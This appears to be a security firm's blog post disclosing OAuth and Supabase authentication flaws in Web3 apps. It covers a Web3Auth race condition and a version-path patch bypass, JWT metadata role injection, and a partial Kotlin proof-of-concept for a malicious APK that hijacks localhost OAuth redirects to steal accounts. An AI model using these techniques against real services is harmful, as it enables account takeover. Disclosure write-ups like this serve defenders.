[{"data":1,"prerenderedAt":164291},["ShallowReactive",2],{"blog-/blog/2025-03-07-subverting-web2-authentication-in-web3":3,"featured-blog-posts":1844},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"author":11,"image":14,"isFeatured":16,"onBlogPage":16,"tags":17,"body":19,"_type":1838,"_id":1839,"_source":1840,"_file":1841,"_stem":1842,"_extension":1843},"/blog/2025-03-07-subverting-web2-authentication-in-web3","blog",false,"","Subverting Web2 Authentication in Web3","Web3 authentication uses cryptographic signatures and wallets, but Web2 auth integrations can introduce hidden risks. We explore vulnerabilities like OAuth logic exploits, Supabase misconfigurations, and OAuth abuse in localhost setups.","2025-03-07",[12,13],"bruno","caue",{"src":15},"/posts/web2-in-web3/title.jpg",true,[18],"web3",{"type":20,"children":21,"toc":1820},"root",[22,30,35,40,69,76,81,88,111,117,122,131,144,174,180,224,231,237,271,292,301,321,328,333,339,344,349,375,380,386,392,413,419,447,476,483,488,493,885,891,913,919,940,954,967,972,988,993,1771,1776,1781,1786,1798,1804,1809,1814],{"type":23,"tag":24,"props":25,"children":26},"element","p",{},[27],{"type":28,"value":29},"text","Authentication serves as a cornerstone of secure interactions in Web3, enabling access control, user identity verification, and transaction integrity. Unlike traditional Web2 systems, which often rely on centralized databases and password-based mechanisms, Web3 systems adopt decentralized identifiers (DIDs), cryptographic signatures, and wallet-based authentication. However, there are many applications that still use Web2-based authentication providers to improve the user experience.",{"type":23,"tag":24,"props":31,"children":32},{},[33],{"type":28,"value":34},"In our research, we focused on Web3 applications that rely on Web2-based authentication methods. Specifically, we analyzed the authentication flows of these applications and identified a lesser-known class of vulnerabilities.",{"type":23,"tag":24,"props":36,"children":37},{},[38],{"type":28,"value":39},"In this article, we will discuss three cases we discovered:",{"type":23,"tag":41,"props":42,"children":43},"ol",{},[44,50,64],{"type":23,"tag":45,"props":46,"children":47},"li",{},[48],{"type":28,"value":49},"OAuth Logic Vulnerability on an Authentication Provider",{"type":23,"tag":45,"props":51,"children":52},{},[53,55,62],{"type":28,"value":54},"Supabase ",{"type":23,"tag":56,"props":57,"children":59},"code",{"className":58},[],[60],{"type":28,"value":61},"user_metadata",{"type":28,"value":63}," misconfiguration",{"type":23,"tag":45,"props":65,"children":66},{},[67],{"type":28,"value":68},"OAuth abuse in localhost development environment",{"type":23,"tag":70,"props":71,"children":73},"h2",{"id":72},"abusing-oauth-authentication-logic",[74],{"type":28,"value":75},"Abusing OAuth Authentication Logic",{"type":23,"tag":24,"props":77,"children":78},{},[79],{"type":28,"value":80},"During our research, we initially identified some bugs in applications. However, these were mostly simple and well-known issues, so we decided to focus on vulnerabilities within authentication providers themselves.",{"type":23,"tag":82,"props":83,"children":85},"h3",{"id":84},"web3auth-introduction",[86],{"type":28,"value":87},"Web3Auth Introduction",{"type":23,"tag":24,"props":89,"children":90},{},[91,100,102,109],{"type":23,"tag":92,"props":93,"children":97},"a",{"href":94,"rel":95},"https://web3auth.io/",[96],"nofollow",[98],{"type":28,"value":99},"Web3Auth",{"type":28,"value":101}," is a tool designed to simplify the login process for Web3 applications, eliminating the need for users to manage complex wallet setups or memorize lengthy passwords. One of its products, Web3Auth PnP (Plug and Play), supports ",{"type":23,"tag":92,"props":103,"children":106},{"href":104,"rel":105},"https://oauth.net/2/",[96],[107],{"type":28,"value":108},"OAuth2",{"type":28,"value":110}," authentication using Google. The product employs a sophisticated authentication flow and infrastructure to maintain seamless integration with dApps.",{"type":23,"tag":82,"props":112,"children":114},{"id":113},"web3auth-authentication-flow",[115],{"type":28,"value":116},"Web3Auth Authentication flow",{"type":23,"tag":24,"props":118,"children":119},{},[120],{"type":28,"value":121},"The Web3Auth PnP authentication flow involves a web session server that stores authentication parameters and configurations. Below is a diagram illustrating how the authentication process works:",{"type":23,"tag":24,"props":123,"children":124},{},[125],{"type":23,"tag":126,"props":127,"children":130},"img",{"alt":128,"src":129},"image","/posts/web2-in-web3/auth-flow.png",[],{"type":23,"tag":24,"props":132,"children":133},{},[134,136,142],{"type":28,"value":135},"After the final redirect back to the dApp,  the application can use the secret token to authenticate with the service identified by the ",{"type":23,"tag":56,"props":137,"children":139},{"className":138},[],[140],{"type":28,"value":141},"client_id",{"type":28,"value":143},". This design ensures that you cannot use the token to authenticate against any unauthorized application.",{"type":23,"tag":24,"props":145,"children":146},{},[147,149,155,157,163,165,172],{"type":28,"value":148},"Additionally, it is important to note that each dApp has a whitelist of redirect URLs. The ",{"type":23,"tag":56,"props":150,"children":152},{"className":151},[],[153],{"type":28,"value":154},"/start",{"type":28,"value":156}," validates the ",{"type":23,"tag":56,"props":158,"children":160},{"className":159},[],[161],{"type":28,"value":162},"redirect_url",{"type":28,"value":164}," against the configured ",{"type":23,"tag":92,"props":166,"children":169},{"href":167,"rel":168},"https://web3auth.io/docs/dashboard-setup/whitelisting",[96],[170],{"type":28,"value":171},"whitelist",{"type":28,"value":173}," to ensure it matches one of the allowed URLs.",{"type":23,"tag":82,"props":175,"children":177},{"id":176},"in-transit-cryptography",[178],{"type":28,"value":179},"In-transit Cryptography",{"type":23,"tag":24,"props":181,"children":182},{},[183,185,192,194,200,202,208,210,215,217,222],{"type":28,"value":184},"The session server employs cryptography to securely send and receive authentication parameters. The ",{"type":23,"tag":92,"props":186,"children":189},{"href":187,"rel":188},"https://en.wikipedia.org/wiki/Key_(cryptography)",[96],[190],{"type":28,"value":191},"cryptographic key",{"type":28,"value":193}," is derived from the ",{"type":23,"tag":56,"props":195,"children":197},{"className":196},[],[198],{"type":28,"value":199},"sessionId",{"type":28,"value":201},"  sent in the ",{"type":23,"tag":56,"props":203,"children":205},{"className":204},[],[206],{"type":28,"value":207},"GET",{"type":28,"value":209}," parameter to the ",{"type":23,"tag":56,"props":211,"children":213},{"className":212},[],[214],{"type":28,"value":154},{"type":28,"value":216},". Since the ",{"type":23,"tag":56,"props":218,"children":220},{"className":219},[],[221],{"type":28,"value":199},{"type":28,"value":223}," can be controlled, it allows us to send and receive data from the session server.",{"type":23,"tag":24,"props":225,"children":226},{},[227],{"type":23,"tag":126,"props":228,"children":230},{"alt":128,"src":229},"/posts/web2-in-web3/image-2.png",[],{"type":23,"tag":82,"props":232,"children":234},{"id":233},"race-condition",[235],{"type":28,"value":236},"Race Condition",{"type":23,"tag":24,"props":238,"children":239},{},[240,242,247,249,255,257,262,264,269],{"type":28,"value":241},"As shown in the diagram, the configuration data from the session server is validated only during the ",{"type":23,"tag":56,"props":243,"children":245},{"className":244},[],[246],{"type":28,"value":154},{"type":28,"value":248}," and later used in the ",{"type":23,"tag":56,"props":250,"children":252},{"className":251},[],[253],{"type":28,"value":254},"/end",{"type":28,"value":256}," enpoint. This introduces a potential race condition that can be exploited if an attacker manages to modify the parameters after  validation (",{"type":23,"tag":56,"props":258,"children":260},{"className":259},[],[261],{"type":28,"value":154},{"type":28,"value":263},") but before  use (",{"type":23,"tag":56,"props":265,"children":267},{"className":266},[],[268],{"type":28,"value":254},{"type":28,"value":270},").",{"type":23,"tag":24,"props":272,"children":273},{},[274,276,283,285,290],{"type":28,"value":275},"To exploit this ",{"type":23,"tag":92,"props":277,"children":280},{"href":278,"rel":279},"https://portswigger.net/web-security/race-conditions",[96],[281],{"type":28,"value":282},"race condition",{"type":28,"value":284},",  an attacker-controlled website can initiate the authentication flow normally. Then, it can send another request to the session server with the same ",{"type":23,"tag":56,"props":286,"children":288},{"className":287},[],[289],{"type":28,"value":199},{"type":28,"value":291}," but with modified malicious parameters.",{"type":23,"tag":24,"props":293,"children":294},{},[295],{"type":23,"tag":296,"props":297,"children":298},"strong",{},[299],{"type":28,"value":300},"What can be modified to achieve something impactful?",{"type":23,"tag":24,"props":302,"children":303},{},[304,306,312,314,319],{"type":28,"value":305},"The answer is quite simple if you understand how OAuth works. The attacker can simply change the ",{"type":23,"tag":56,"props":307,"children":309},{"className":308},[],[310],{"type":28,"value":311},"redirect_uri",{"type":28,"value":313}," parameter to point to their own website and leak the secret token from the query string. With the secret token, they can authenticate against the application defined by ",{"type":23,"tag":56,"props":315,"children":317},{"className":316},[],[318],{"type":28,"value":141},{"type":28,"value":320},".",{"type":23,"tag":24,"props":322,"children":323},{},[324],{"type":23,"tag":126,"props":325,"children":327},{"alt":128,"src":326},"/posts/web2-in-web3/image-3.png",[],{"type":23,"tag":24,"props":329,"children":330},{},[331],{"type":28,"value":332},"Using this exploit, we were able to create a website capable of taking over the accounts of victims who followed the standard OAuth flow.",{"type":23,"tag":82,"props":334,"children":336},{"id":335},"patch-bypass",[337],{"type":28,"value":338},"Patch & Bypass",{"type":23,"tag":24,"props":340,"children":341},{},[342],{"type":28,"value":343},"The vulnerability was reported and remediated on the same day (super quickly!). However, we found that the fix was not backported to older versions.",{"type":23,"tag":24,"props":345,"children":346},{},[347],{"type":28,"value":348},"To bypass the fix we were able to change the version in the URL:",{"type":23,"tag":350,"props":351,"children":352},"ul",{},[353,364],{"type":23,"tag":45,"props":354,"children":355},{},[356,362],{"type":23,"tag":56,"props":357,"children":359},{"className":358},[],[360],{"type":28,"value":361},"https://auth.web3auth.io/v8/start",{"type":28,"value":363}," (latest version)",{"type":23,"tag":45,"props":365,"children":366},{},[367,373],{"type":23,"tag":56,"props":368,"children":370},{"className":369},[],[371],{"type":28,"value":372},"https://auth.web3auth.io/v6/start",{"type":28,"value":374}," (bypass)",{"type":23,"tag":24,"props":376,"children":377},{},[378],{"type":28,"value":379},"We reported this issue, and it was addressed just as quickly!",{"type":23,"tag":70,"props":381,"children":383},{"id":382},"supabase-metadata-manipulation",[384],{"type":28,"value":385},"Supabase metadata manipulation",{"type":23,"tag":82,"props":387,"children":389},{"id":388},"supabase-authentication-flow",[390],{"type":28,"value":391},"Supabase Authentication flow",{"type":23,"tag":24,"props":393,"children":394},{},[395,402,404,411],{"type":23,"tag":92,"props":396,"children":399},{"href":397,"rel":398},"https://supabase.com/docs/guides/auth",[96],[400],{"type":28,"value":401},"Supabase",{"type":28,"value":403}," is a Backend-as-a-Service (BaaS) platform that provides authentication, database, and real-time APIs. The authentication process begins when a user registers or logs in. Supabase generates a ",{"type":23,"tag":92,"props":405,"children":408},{"href":406,"rel":407},"https://jwt.io/",[96],[409],{"type":28,"value":410},"JWT",{"type":28,"value":412}," for the authenticated user, embedding claims such as the user ID, roles, and additional metadata (either user-provided or system-generated). This token is then returned to the client and used for subsequent API requests, during which the server validates the JWT to confirm the user’s identity and permissions.",{"type":23,"tag":82,"props":414,"children":416},{"id":415},"jwt-verification",[417],{"type":28,"value":418},"JWT verification",{"type":23,"tag":24,"props":420,"children":421},{},[422,424,429,431,437,439,445],{"type":28,"value":423},"In one of our clients' systems, we discovered a vulnerability that allowed the inclusion of custom fields, such as ",{"type":23,"tag":56,"props":425,"children":427},{"className":426},[],[428],{"type":28,"value":61},{"type":28,"value":430}," and ",{"type":23,"tag":56,"props":432,"children":434},{"className":433},[],[435],{"type":28,"value":436},"identity_data",{"type":28,"value":438},", in a signup request by manipulating the input inside the ",{"type":23,"tag":56,"props":440,"children":442},{"className":441},[],[443],{"type":28,"value":444},"\"data\": {}",{"type":28,"value":446}," structure. These fields were then directly reflected in the issued JWT without validation.",{"type":23,"tag":24,"props":448,"children":449},{},[450,452,458,460,466,468,474],{"type":28,"value":451},"For example, an attacker could send a signup request with arbitrary data, such as ",{"type":23,"tag":56,"props":453,"children":455},{"className":454},[],[456],{"type":28,"value":457},"\"role\": \"admin\"",{"type":28,"value":459}," or ",{"type":23,"tag":56,"props":461,"children":463},{"className":462},[],[464],{"type":28,"value":465},"\"email_verified\": true",{"type":28,"value":467},", which would subsequently be included in the JWT claims. Additionally, it was possible to insert arbitrary fields beyond typical inputs, such as ",{"type":23,"tag":56,"props":469,"children":471},{"className":470},[],[472],{"type":28,"value":473},"\"test\": \"test\"",{"type":28,"value":475},", enabling us to inject arbitrary data into the final JWT token.",{"type":23,"tag":24,"props":477,"children":478},{},[479],{"type":23,"tag":126,"props":480,"children":482},{"alt":128,"src":481},"/posts/web2-in-web3/image-4.png",[],{"type":23,"tag":24,"props":484,"children":485},{},[486],{"type":28,"value":487},"In this example we are controlling the \"role\" field within the user metadata. If the application manage roles using the metadata, it would be vulnerable to a privilege escalation since anyone could inject any role there.",{"type":23,"tag":24,"props":489,"children":490},{},[491],{"type":28,"value":492},"The attacker could subsequently log in on the main platform, retrieve the token, and verify that their injected parameters persist in the JWT by submitting it to a verification endpoint. This happens because a function parseSupaBase was parsing and verifying everything generated by the JWT supabase token.",{"type":23,"tag":494,"props":495,"children":499},"pre",{"className":496,"code":497,"language":498,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function parseSupaBase(token) {\n    try {\n        const [header, payload, signature] = token.split('.');\n        const decodedHeader = JSON.parse(atob(header));\n        const decodedPayload = JSON.parse(atob(payload));\n        return { header: decodedHeader, payload: decodedPayload, signature };\n    } catch (error) {\n        console.error('Error parsing token:', error);\n        return null;\n    }\n}\n","js",[500],{"type":23,"tag":56,"props":501,"children":502},{"__ignoreMap":7},[503,538,553,631,685,734,783,811,849,867,876],{"type":23,"tag":504,"props":505,"children":508},"span",{"class":506,"line":507},"line",1,[509,515,521,527,533],{"type":23,"tag":504,"props":510,"children":512},{"style":511},"--shiki-default:#569CD6",[513],{"type":28,"value":514},"function",{"type":23,"tag":504,"props":516,"children":518},{"style":517},"--shiki-default:#DCDCAA",[519],{"type":28,"value":520}," parseSupaBase",{"type":23,"tag":504,"props":522,"children":524},{"style":523},"--shiki-default:#E6E6E6",[525],{"type":28,"value":526},"(",{"type":23,"tag":504,"props":528,"children":530},{"style":529},"--shiki-default:#9CDCFE",[531],{"type":28,"value":532},"token",{"type":23,"tag":504,"props":534,"children":535},{"style":523},[536],{"type":28,"value":537},") {\n",{"type":23,"tag":504,"props":539,"children":541},{"class":506,"line":540},2,[542,548],{"type":23,"tag":504,"props":543,"children":545},{"style":544},"--shiki-default:#C586C0",[546],{"type":28,"value":547},"    try",{"type":23,"tag":504,"props":549,"children":550},{"style":523},[551],{"type":28,"value":552}," {\n",{"type":23,"tag":504,"props":554,"children":556},{"class":506,"line":555},3,[557,562,567,572,577,582,586,591,596,602,607,611,616,620,626],{"type":23,"tag":504,"props":558,"children":559},{"style":511},[560],{"type":28,"value":561},"        const",{"type":23,"tag":504,"props":563,"children":564},{"style":523},[565],{"type":28,"value":566}," [",{"type":23,"tag":504,"props":568,"children":569},{"style":529},[570],{"type":28,"value":571},"header",{"type":23,"tag":504,"props":573,"children":574},{"style":523},[575],{"type":28,"value":576},", ",{"type":23,"tag":504,"props":578,"children":579},{"style":529},[580],{"type":28,"value":581},"payload",{"type":23,"tag":504,"props":583,"children":584},{"style":523},[585],{"type":28,"value":576},{"type":23,"tag":504,"props":587,"children":588},{"style":529},[589],{"type":28,"value":590},"signature",{"type":23,"tag":504,"props":592,"children":593},{"style":523},[594],{"type":28,"value":595},"] ",{"type":23,"tag":504,"props":597,"children":599},{"style":598},"--shiki-default:#D4D4D4",[600],{"type":28,"value":601},"=",{"type":23,"tag":504,"props":603,"children":604},{"style":529},[605],{"type":28,"value":606}," token",{"type":23,"tag":504,"props":608,"children":609},{"style":523},[610],{"type":28,"value":320},{"type":23,"tag":504,"props":612,"children":613},{"style":517},[614],{"type":28,"value":615},"split",{"type":23,"tag":504,"props":617,"children":618},{"style":523},[619],{"type":28,"value":526},{"type":23,"tag":504,"props":621,"children":623},{"style":622},"--shiki-default:#CE9178",[624],{"type":28,"value":625},"'.'",{"type":23,"tag":504,"props":627,"children":628},{"style":523},[629],{"type":28,"value":630},");\n",{"type":23,"tag":504,"props":632,"children":634},{"class":506,"line":633},4,[635,639,644,649,654,658,663,667,672,676,680],{"type":23,"tag":504,"props":636,"children":637},{"style":511},[638],{"type":28,"value":561},{"type":23,"tag":504,"props":640,"children":641},{"style":529},[642],{"type":28,"value":643}," decodedHeader",{"type":23,"tag":504,"props":645,"children":646},{"style":598},[647],{"type":28,"value":648}," =",{"type":23,"tag":504,"props":650,"children":651},{"style":529},[652],{"type":28,"value":653}," JSON",{"type":23,"tag":504,"props":655,"children":656},{"style":523},[657],{"type":28,"value":320},{"type":23,"tag":504,"props":659,"children":660},{"style":517},[661],{"type":28,"value":662},"parse",{"type":23,"tag":504,"props":664,"children":665},{"style":523},[666],{"type":28,"value":526},{"type":23,"tag":504,"props":668,"children":669},{"style":517},[670],{"type":28,"value":671},"atob",{"type":23,"tag":504,"props":673,"children":674},{"style":523},[675],{"type":28,"value":526},{"type":23,"tag":504,"props":677,"children":678},{"style":529},[679],{"type":28,"value":571},{"type":23,"tag":504,"props":681,"children":682},{"style":523},[683],{"type":28,"value":684},"));\n",{"type":23,"tag":504,"props":686,"children":688},{"class":506,"line":687},5,[689,693,698,702,706,710,714,718,722,726,730],{"type":23,"tag":504,"props":690,"children":691},{"style":511},[692],{"type":28,"value":561},{"type":23,"tag":504,"props":694,"children":695},{"style":529},[696],{"type":28,"value":697}," decodedPayload",{"type":23,"tag":504,"props":699,"children":700},{"style":598},[701],{"type":28,"value":648},{"type":23,"tag":504,"props":703,"children":704},{"style":529},[705],{"type":28,"value":653},{"type":23,"tag":504,"props":707,"children":708},{"style":523},[709],{"type":28,"value":320},{"type":23,"tag":504,"props":711,"children":712},{"style":517},[713],{"type":28,"value":662},{"type":23,"tag":504,"props":715,"children":716},{"style":523},[717],{"type":28,"value":526},{"type":23,"tag":504,"props":719,"children":720},{"style":517},[721],{"type":28,"value":671},{"type":23,"tag":504,"props":723,"children":724},{"style":523},[725],{"type":28,"value":526},{"type":23,"tag":504,"props":727,"children":728},{"style":529},[729],{"type":28,"value":581},{"type":23,"tag":504,"props":731,"children":732},{"style":523},[733],{"type":28,"value":684},{"type":23,"tag":504,"props":735,"children":737},{"class":506,"line":736},6,[738,743,748,753,757,761,766,770,774,778],{"type":23,"tag":504,"props":739,"children":740},{"style":544},[741],{"type":28,"value":742},"        return",{"type":23,"tag":504,"props":744,"children":745},{"style":523},[746],{"type":28,"value":747}," { ",{"type":23,"tag":504,"props":749,"children":750},{"style":529},[751],{"type":28,"value":752},"header:",{"type":23,"tag":504,"props":754,"children":755},{"style":529},[756],{"type":28,"value":643},{"type":23,"tag":504,"props":758,"children":759},{"style":523},[760],{"type":28,"value":576},{"type":23,"tag":504,"props":762,"children":763},{"style":529},[764],{"type":28,"value":765},"payload:",{"type":23,"tag":504,"props":767,"children":768},{"style":529},[769],{"type":28,"value":697},{"type":23,"tag":504,"props":771,"children":772},{"style":523},[773],{"type":28,"value":576},{"type":23,"tag":504,"props":775,"children":776},{"style":529},[777],{"type":28,"value":590},{"type":23,"tag":504,"props":779,"children":780},{"style":523},[781],{"type":28,"value":782}," };\n",{"type":23,"tag":504,"props":784,"children":786},{"class":506,"line":785},7,[787,792,797,802,807],{"type":23,"tag":504,"props":788,"children":789},{"style":523},[790],{"type":28,"value":791},"    } ",{"type":23,"tag":504,"props":793,"children":794},{"style":544},[795],{"type":28,"value":796},"catch",{"type":23,"tag":504,"props":798,"children":799},{"style":523},[800],{"type":28,"value":801}," (",{"type":23,"tag":504,"props":803,"children":804},{"style":529},[805],{"type":28,"value":806},"error",{"type":23,"tag":504,"props":808,"children":809},{"style":523},[810],{"type":28,"value":537},{"type":23,"tag":504,"props":812,"children":814},{"class":506,"line":813},8,[815,820,824,828,832,837,841,845],{"type":23,"tag":504,"props":816,"children":817},{"style":529},[818],{"type":28,"value":819},"        console",{"type":23,"tag":504,"props":821,"children":822},{"style":523},[823],{"type":28,"value":320},{"type":23,"tag":504,"props":825,"children":826},{"style":517},[827],{"type":28,"value":806},{"type":23,"tag":504,"props":829,"children":830},{"style":523},[831],{"type":28,"value":526},{"type":23,"tag":504,"props":833,"children":834},{"style":622},[835],{"type":28,"value":836},"'Error parsing token:'",{"type":23,"tag":504,"props":838,"children":839},{"style":523},[840],{"type":28,"value":576},{"type":23,"tag":504,"props":842,"children":843},{"style":529},[844],{"type":28,"value":806},{"type":23,"tag":504,"props":846,"children":847},{"style":523},[848],{"type":28,"value":630},{"type":23,"tag":504,"props":850,"children":852},{"class":506,"line":851},9,[853,857,862],{"type":23,"tag":504,"props":854,"children":855},{"style":544},[856],{"type":28,"value":742},{"type":23,"tag":504,"props":858,"children":859},{"style":511},[860],{"type":28,"value":861}," null",{"type":23,"tag":504,"props":863,"children":864},{"style":523},[865],{"type":28,"value":866},";\n",{"type":23,"tag":504,"props":868,"children":870},{"class":506,"line":869},10,[871],{"type":23,"tag":504,"props":872,"children":873},{"style":523},[874],{"type":28,"value":875},"    }\n",{"type":23,"tag":504,"props":877,"children":879},{"class":506,"line":878},11,[880],{"type":23,"tag":504,"props":881,"children":882},{"style":523},[883],{"type":28,"value":884},"}\n",{"type":23,"tag":82,"props":886,"children":888},{"id":887},"mitigation",[889],{"type":28,"value":890},"Mitigation",{"type":23,"tag":24,"props":892,"children":893},{},[894,896,903,905,911],{"type":28,"value":895},"Developers should avoid trusting input from their Supabase custom domain. ",{"type":23,"tag":92,"props":897,"children":900},{"href":898,"rel":899},"https://supabase.com/docs/guides/database/postgres/row-level-security",[96],[901],{"type":28,"value":902},"Row-Level Security",{"type":28,"value":904}," (RLS) on Supabase should be enforced, plus important and private fields should be defined in ",{"type":23,"tag":56,"props":906,"children":908},{"className":907},[],[909],{"type":28,"value":910},"app_metadata",{"type":28,"value":912},". These fields must be strictly validated at every step of their creation and update processes.",{"type":23,"tag":70,"props":914,"children":916},{"id":915},"oauth-in-development-environments",[917],{"type":28,"value":918},"OAuth in development environments",{"type":23,"tag":24,"props":920,"children":921},{},[922,924,931,933,938],{"type":28,"value":923},"After watching a ",{"type":23,"tag":92,"props":925,"children":928},{"href":926,"rel":927},"https://docs.google.com/presentation/d/1571_ZSOtfVat9u63zfn1ugTPZRN7pQsFIblcxci3czM/edit",[96],[929],{"type":28,"value":930},"talk",{"type":28,"value":932}," by Luan Herrera on exploiting the logic of desktop apps that use OAuth for authentication (specifically using a localhost server), we noticed that many of our customers also permitted localhost within the ",{"type":23,"tag":56,"props":934,"children":936},{"className":935},[],[937],{"type":28,"value":311},{"type":28,"value":939}," parameter during the OAuth flow.",{"type":23,"tag":24,"props":941,"children":942},{},[943,945,952],{"type":28,"value":944},"Herrera's research highlights that if localhost is allowed as a redirect URI, it is generally not exploitable in a desktop environment because impersonating localhost without ",{"type":23,"tag":92,"props":946,"children":949},{"href":947,"rel":948},"https://www.cloudflare.com/learning/security/what-is-remote-code-execution/",[96],[950],{"type":28,"value":951},"Remote Code Execution",{"type":28,"value":953}," (RCE) is impossible. However, the scenario changes in a mobile environment, where it is feasible to open a localhost web server using a malicious app, making exploitation possible.",{"type":23,"tag":24,"props":955,"children":956},{},[957,959,965],{"type":28,"value":958},"In one of our client's implementations, we identified that ",{"type":23,"tag":56,"props":960,"children":962},{"className":961},[],[963],{"type":28,"value":964},"localhost:3000",{"type":28,"value":966}," was permitted. The exploitation method is the same as demonstrated in Herrera's talk. However, we observed that localhost servers are frequently used and whitelisted by developers, not only for desktop applications but also for testing and development environments.",{"type":23,"tag":24,"props":968,"children":969},{},[970],{"type":28,"value":971},"For the exploitation, the final Google OAuth URL was constructed as follows:",{"type":23,"tag":494,"props":973,"children":977},{"className":974,"code":975,"language":976,"meta":7,"style":7},"language-url shiki shiki-themes slack-dark","https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\n","url",[978],{"type":23,"tag":56,"props":979,"children":980},{"__ignoreMap":7},[981],{"type":23,"tag":504,"props":982,"children":983},{"class":506,"line":507},[984],{"type":23,"tag":504,"props":985,"children":986},{},[987],{"type":28,"value":975},{"type":23,"tag":24,"props":989,"children":990},{},[991],{"type":28,"value":992},"Since there was no public exploit, we also created a proof of concept demonstrating how a malicious APK can be created to steal the OAuth token simply by opening the malicious app. This occurs without any user interaction and results in account takeover.",{"type":23,"tag":494,"props":994,"children":998},{"className":995,"code":996,"language":997,"meta":7,"style":7},"language-kotlin shiki shiki-themes slack-dark","class MainActivity : AppCompatActivity() {\n\n    override fun onCreate(savedInstanceState: Bundle?) {\n        super.onCreate(savedInstanceState)\n\n        // Start the Ktor web server\n        CoroutineScope(Dispatchers.IO).launch {\n            try {\n                startWebServer()\n                Log.d(\"WebServer\", \"Server started on http://localhost:3000\")\n            } catch (e: Exception) {\n                Log.e(\"WebServer\", \"Error starting server: ${e.message}\", e)\n            }\n        }\n\n        // Open the Google OAuth page\n        val googleOAuthUrl = \"https://accounts.google.com/o/oauth2/v2/auth?client_id=redacted&scope=openid%20email%20profile&response_type=code&redirect_uri=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fauth%2Fcallback%2Fgoogle&prompt=none&access_type=offline&state=2UTJ8naHVglSQQupa1jw1lugsaZr8f5M9hxZp7bxISM&code_challenge=e6_Onj804xizwJzVT5Pf8luKPbtLV-EJssR7I58UQp8&code_challenge_method=S256&service=lso&o2v=2&ddm=1&flowName=GeneralOAuthFlow\"\n        val browserIntent = Intent(Intent.ACTION_VIEW, Uri.parse(googleOAuthUrl))\n        startActivity(browserIntent)\n    }\n\n    private fun startWebServer() {\n        embeddedServer(CIO, port = 3000) {\n            routing {\n                get(\"{...}\") {\n                    call.respondHtml {\n                        head {\n                            meta(charset = \"UTF-8\")\n                            meta(name = \"viewport\", content = \"width=device-width, initial-scale=1.0\")\n                            title(\"OAuth Redirect\")\n                        }\n                        body {\n                            h1 { +\"Google OAuth Redirect\" }\n                            script {\n                                +\"document.body.innerText = location.search;\"\n                            }\n                        }\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n}\n","kotlin",[999],{"type":23,"tag":56,"props":1000,"children":1001},{"__ignoreMap":7},[1002,1031,1039,1072,1094,1101,1110,1132,1144,1157,1193,1219,1274,1283,1292,1300,1309,1332,1368,1382,1390,1398,1420,1448,1461,1483,1501,1514,1541,1581,1603,1612,1625,1653,1666,1680,1689,1697,1706,1715,1723,1755,1763],{"type":23,"tag":504,"props":1003,"children":1004},{"class":506,"line":507},[1005,1010,1016,1021,1026],{"type":23,"tag":504,"props":1006,"children":1007},{"style":511},[1008],{"type":28,"value":1009},"class",{"type":23,"tag":504,"props":1011,"children":1013},{"style":1012},"--shiki-default:#4EC9B0",[1014],{"type":28,"value":1015}," MainActivity",{"type":23,"tag":504,"props":1017,"children":1018},{"style":523},[1019],{"type":28,"value":1020}," : ",{"type":23,"tag":504,"props":1022,"children":1023},{"style":1012},[1024],{"type":28,"value":1025},"AppCompatActivity",{"type":23,"tag":504,"props":1027,"children":1028},{"style":523},[1029],{"type":28,"value":1030},"() {\n",{"type":23,"tag":504,"props":1032,"children":1033},{"class":506,"line":540},[1034],{"type":23,"tag":504,"props":1035,"children":1036},{"emptyLinePlaceholder":16},[1037],{"type":28,"value":1038},"\n",{"type":23,"tag":504,"props":1040,"children":1041},{"class":506,"line":555},[1042,1047,1052,1057,1062,1067],{"type":23,"tag":504,"props":1043,"children":1044},{"style":511},[1045],{"type":28,"value":1046},"    override",{"type":23,"tag":504,"props":1048,"children":1049},{"style":511},[1050],{"type":28,"value":1051}," fun",{"type":23,"tag":504,"props":1053,"children":1054},{"style":517},[1055],{"type":28,"value":1056}," onCreate",{"type":23,"tag":504,"props":1058,"children":1059},{"style":523},[1060],{"type":28,"value":1061},"(savedInstanceState: ",{"type":23,"tag":504,"props":1063,"children":1064},{"style":1012},[1065],{"type":28,"value":1066},"Bundle",{"type":23,"tag":504,"props":1068,"children":1069},{"style":523},[1070],{"type":28,"value":1071},"?) {\n",{"type":23,"tag":504,"props":1073,"children":1074},{"class":506,"line":633},[1075,1080,1084,1089],{"type":23,"tag":504,"props":1076,"children":1077},{"style":511},[1078],{"type":28,"value":1079},"        super",{"type":23,"tag":504,"props":1081,"children":1082},{"style":523},[1083],{"type":28,"value":320},{"type":23,"tag":504,"props":1085,"children":1086},{"style":517},[1087],{"type":28,"value":1088},"onCreate",{"type":23,"tag":504,"props":1090,"children":1091},{"style":523},[1092],{"type":28,"value":1093},"(savedInstanceState)\n",{"type":23,"tag":504,"props":1095,"children":1096},{"class":506,"line":687},[1097],{"type":23,"tag":504,"props":1098,"children":1099},{"emptyLinePlaceholder":16},[1100],{"type":28,"value":1038},{"type":23,"tag":504,"props":1102,"children":1103},{"class":506,"line":736},[1104],{"type":23,"tag":504,"props":1105,"children":1107},{"style":1106},"--shiki-default:#6A9955",[1108],{"type":28,"value":1109},"        // Start the Ktor web server\n",{"type":23,"tag":504,"props":1111,"children":1112},{"class":506,"line":785},[1113,1118,1123,1128],{"type":23,"tag":504,"props":1114,"children":1115},{"style":517},[1116],{"type":28,"value":1117},"        CoroutineScope",{"type":23,"tag":504,"props":1119,"children":1120},{"style":523},[1121],{"type":28,"value":1122},"(Dispatchers.IO).",{"type":23,"tag":504,"props":1124,"children":1125},{"style":517},[1126],{"type":28,"value":1127},"launch",{"type":23,"tag":504,"props":1129,"children":1130},{"style":523},[1131],{"type":28,"value":552},{"type":23,"tag":504,"props":1133,"children":1134},{"class":506,"line":813},[1135,1140],{"type":23,"tag":504,"props":1136,"children":1137},{"style":544},[1138],{"type":28,"value":1139},"            